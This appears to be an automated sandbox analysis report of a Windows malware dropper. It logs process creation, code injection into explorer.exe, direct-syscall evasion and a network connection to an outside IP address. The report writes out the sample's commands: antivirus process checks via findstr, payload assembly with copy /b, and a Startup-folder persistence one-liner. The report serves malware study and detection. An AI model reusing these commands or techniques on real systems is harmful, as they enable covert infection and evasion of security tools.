Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: explorer.exe, 00000012.00000003.2516037085.00000000054AC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.3265796424.00000000054CB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2312256260.0000000001350000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2354445600.00000000054AC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2703350861.00000000054CC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2672721393.00000000054CC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2550085788.00000000054CD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: utorunsc64.pdb source: explorer.exe, 00000012.00000002.3264572586.000000000162E000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: autorunsc64.pdb source: explorer.exe, 00000012.00000002.3264299114.0000000001318000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: utoruns64a.pdb source: explorer.exe, 00000012.00000002.3264572586.000000000162E000.00000004.00000010.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00406328 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406328

Source: file.exe

Static PE information: real checksum: 0x43515c should be: 0x42fd74

Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_000002453CA21394 push qword ptr [000002453CA34004h]; ret	17_2_000002453CA21403
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_000002453CA23A16 push rdx; iretd	17_2_000002453CA23A17
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_000002453CA23788 push rdx; iretd	17_2_000002453CA23789
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA127149 push rdi; ret	17_2_00007FF7AA127152
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA1276AD push rdi; ret	17_2_00007FF7AA1276B4
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF752037149 push rdi; ret	20_2_00007FF752037152
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF7520376AD push rdi; ret	20_2_00007FF7520376B4
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 21_2_0000014D5CA91394 push qword ptr [0000014D5CAA4004h]; ret	21_2_0000014D5CA91403
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 21_2_0000014D5CA93A16 push rdx; iretd	21_2_0000014D5CA93A17
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 21_2_0000014D5CA93788 push rdx; iretd	21_2_0000014D5CA93789

Persistence and Installation Behavior

Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	File created: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr			Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	File created: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Tech	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\Tech

Jump to dropped file

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZeusChat.url

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZeusChat.url

Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA114364 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,		17_2_00007FF7AA114364
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF752024364 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,		20_2_00007FF752024364

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 4326			Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 510			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	API coverage: 0.2 %
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	API coverage: 1.6 %

Source: C:\Windows\explorer.exe TID: 6208	Thread sleep count: 4326 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6208	Thread sleep time: -86520s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6208	Thread sleep count: 510 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6208	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6208	Thread sleep count: 133 > 30	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00406301 FindFirstFileW,FindClose,	0_2_00406301
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406CC7
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA132DE0 FindFirstFileExW,	17_2_00007FF7AA132DE0
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA16CE3C GetFileAttributesW,FindFirstFileW,FindClose,	17_2_00007FF7AA16CE3C
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF752042DE0 FindFirstFileExW,	20_2_00007FF752042DE0
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF75207CE3C GetFileAttributesW,FindFirstFileW,FindClose,	20_2_00007FF75207CE3C

Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com

Code function: 17_2_00007FF7AA0F5C44 GetVersionExW,GetCurrentProcess,IsWow64Process,GetSystemInfo,GetSystemInfo,FreeLibrary,

17_2_00007FF7AA0F5C44

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\29442	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\29442\	Jump to behavior

Source: explorer.exe, 00000012.00000002.3264299114.0000000001318000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000012.00000002.3264299114.0000000001318000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWPX2

Source: C:\Windows\explorer.exe

API call chain: ExitProcess graph end node

Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com

Process information queried: ProcessInformation

System process connects to network (likely due to code injection or exploit)

Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com

Code function: 17_2_00007FF7AA0F3B64 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

17_2_00007FF7AA0F3B64

Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com

Code function: 17_2_00007FF7AA115A40 GetLastError,IsDebuggerPresent,OutputDebugStringW,

17_2_00007FF7AA115A40

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00406328 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406328

Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com

Code function: 17_2_00007FF7AA1341A8 GetProcessHeap,

17_2_00007FF7AA1341A8

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_000002453CA21160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	17_2_000002453CA21160
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA12AD08 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	17_2_00007FF7AA12AD08
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA138E74 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	17_2_00007FF7AA138E74
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA115850 SetUnhandledExceptionFilter,	17_2_00007FF7AA115850
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Code function: 17_2_00007FF7AA11566C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	17_2_00007FF7AA11566C
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF752025850 SetUnhandledExceptionFilter,	20_2_00007FF752025850
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF75202566C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	20_2_00007FF75202566C
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF75203AD08 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	20_2_00007FF75203AD08
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF752048E74 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	20_2_00007FF752048E74
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 21_2_0000014D5CA91160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	21_2_0000014D5CA91160

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\explorer.exe

Network Connect: 163.172.171.111 10343

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtProtectVirtualMemory: Direct from: 0x7FF7AA12B26C	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtClose: Direct from: 0x7FF7AA16C3CD
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	NtQueryInformationToken: Direct from: 0x7FF752093508	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtQueryAttributesFile: Direct from: 0x7FF7AA16D642	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtProtectVirtualMemory: Direct from: 0x7FF7AA16C119	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtReadFile: Direct from: 0x7FF7AA0F7D7F	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtQuerySystemInformation: Direct from: 0x7FF7AA16C4AD	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	NtClose: Direct from: 0x7FF75207C5C7
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtQueryAttributesFile: Direct from: 0x7FF7AA16CE4E	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	NtDelayExecution: Direct from: 0x7FF752011C92	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtOpenFile: Direct from: 0x7FF7AA16BF1E	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtDelayExecution: Direct from: 0x7FF7AA16DFD8	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtProtectVirtualMemory: Direct from: 0x7FF7AA118FF0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtClose: Direct from: 0x7FF7AA16CE61
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	NtProtectVirtualMemory: Direct from: 0x7FF7520083B5	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	NtQuerySystemInformation: Direct from: 0x7FF8C88A26A1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtClose: Direct from: 0x7FF7AA0F8693
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	NtQuerySystemInformation: Direct from: 0x7FF752024924	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	NtQueryAttributesFile: Direct from: 0x7FF75207D642	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	NtProtectVirtualMemory: Direct from: 0x7FF75203B26C	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	NtQueryAttributesFile: Direct from: 0x7FF75207CE4E	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtSetInformationFile: Direct from: 0x7FF7AA0F7A79	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtClose: Direct from: 0x7FF7AA16C5C7
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	NtQuerySystemInformation: Direct from: 0x7FF75207C4AD	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtCreateFile: Direct from: 0x7FF7AA0F787C	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	NtDelayExecution: Direct from: 0x7FF75207DFD8	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtDelayExecution: Direct from: 0x7FF7AA101C92	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtWriteFile: Direct from: 0x7FF7AA16B9D7	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	NtClose: Direct from: 0x7FF75207C37B
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtQuerySystemInformation: Direct from: 0x7FF7AA114924	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtSetInformationFile: Direct from: 0x7FF7AA0F7A91	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	NtProtectVirtualMemory: Direct from: 0x7FF752028FF0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtClose: Direct from: 0x7FF7AA16C200
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	NtClose: Direct from: 0x7FF75207FD06
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtUnmapViewOfSection: Direct from: 0x7FF7AA16C4BD	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtQueryAttributesFile: Direct from: 0x7FF7AA16C1E1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtMapViewOfSection: Direct from: 0x7FF7AA16C508	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtOpenFile: Direct from: 0x7FF7AA16C37B	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	NtMapViewOfSection: Direct from: 0x7FF75207C4BD	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtQueryInformationToken: Direct from: 0x7FF7AA183508	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	NtProtectVirtualMemory: Direct from: 0x7FF7AA0F83B5	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Memory written: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com base: 2453CA20000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Memory written: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr base: 14D5CA90000 value starts with: 4D5A			Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Memory written: PID: 6504 base: 140000000 value: 4D	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Memory written: PID: 6504 base: 140001000 value: NU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Memory written: PID: 6504 base: 1406F5000 value: DF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Memory written: PID: 6504 base: 1408F6000 value: 00	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Memory written: PID: 6504 base: 11E1010 value: 00	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Memory written: PID: 3524 base: 140000000 value: 4D	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Memory written: PID: 3524 base: 140001000 value: NU	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Memory written: PID: 3524 base: 1406F5000 value: DF	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Memory written: PID: 3524 base: 1408F6000 value: 00	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Memory written: PID: 3524 base: C94010 value: 00	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Thread register set: target process: 3640	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Thread register set: target process: 4148	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Thread register set: target process: 6504	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Thread register set: target process: 3524	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com

Code function: 17_2_00007FF7AA0F3B64 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

17_2_00007FF7AA0F3B64

Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com

Code function: 17_2_00007FF7AA114364 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,

17_2_00007FF7AA114364

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Bukkake Bukkake.cmd && Bukkake.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 29442	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Wendy + ..\Psychiatry + ..\Rid + ..\Games + ..\Norway + ..\Matching + ..\Jungle + ..\Elliott + ..\Jpg + ..\Americans + ..\Exhibits + ..\Peeing + ..\Typical + ..\Innocent + ..\Seafood + ..\Nervous + ..\Households + ..\Ai + ..\Hotel + ..\Holdem + ..\Drums + ..\Carlo + ..\Tm + ..\Landscape + ..\Resolutions + ..\Def + ..\Lambda + ..\Biodiversity + ..\Odds + ..\Smithsonian + ..\Blvd + ..\Actual + ..\Guy + ..\Expert + ..\Delaware + ..\Eagle + ..\Eugene + ..\Exempt + ..\Same + ..\Ebooks + ..\Individuals + ..\Sucking + ..\Chan + ..\Turns + ..\Satin + ..\Dealing + ..\Result + ..\Through + ..\Realized l	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com Reynolds.com l	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Process created: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr "C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr" "C:\Users\user\AppData\Local\CyberSphere Dynamics\M"	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Process created: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr "C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr"	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Process created: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr "C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Process created: C:\Windows\explorer.exe explorer.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Process created: C:\Windows\explorer.exe explorer.exe	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\wendy + ..\psychiatry + ..\rid + ..\games + ..\norway + ..\matching + ..\jungle + ..\elliott + ..\jpg + ..\americans + ..\exhibits + ..\peeing + ..\typical + ..\innocent + ..\seafood + ..\nervous + ..\households + ..\ai + ..\hotel + ..\holdem + ..\drums + ..\carlo + ..\tm + ..\landscape + ..\resolutions + ..\def + ..\lambda + ..\biodiversity + ..\odds + ..\smithsonian + ..\blvd + ..\actual + ..\guy + ..\expert + ..\delaware + ..\eagle + ..\eugene + ..\exempt + ..\same + ..\ebooks + ..\individuals + ..\sucking + ..\chan + ..\turns + ..\satin + ..\dealing + ..\result + ..\through + ..\realized l
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Process created: C:\Windows\System32\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\zeuschat.url" & echo url="c:\users\user\appdata\local\cybersphere dynamics\zeuschat.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\zeuschat.url" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\wendy + ..\psychiatry + ..\rid + ..\games + ..\norway + ..\matching + ..\jungle + ..\elliott + ..\jpg + ..\americans + ..\exhibits + ..\peeing + ..\typical + ..\innocent + ..\seafood + ..\nervous + ..\households + ..\ai + ..\hotel + ..\holdem + ..\drums + ..\carlo + ..\tm + ..\landscape + ..\resolutions + ..\def + ..\lambda + ..\biodiversity + ..\odds + ..\smithsonian + ..\blvd + ..\actual + ..\guy + ..\expert + ..\delaware + ..\eagle + ..\eugene + ..\exempt + ..\same + ..\ebooks + ..\individuals + ..\sucking + ..\chan + ..\turns + ..\satin + ..\dealing + ..\result + ..\through + ..\realized l	Jump to behavior
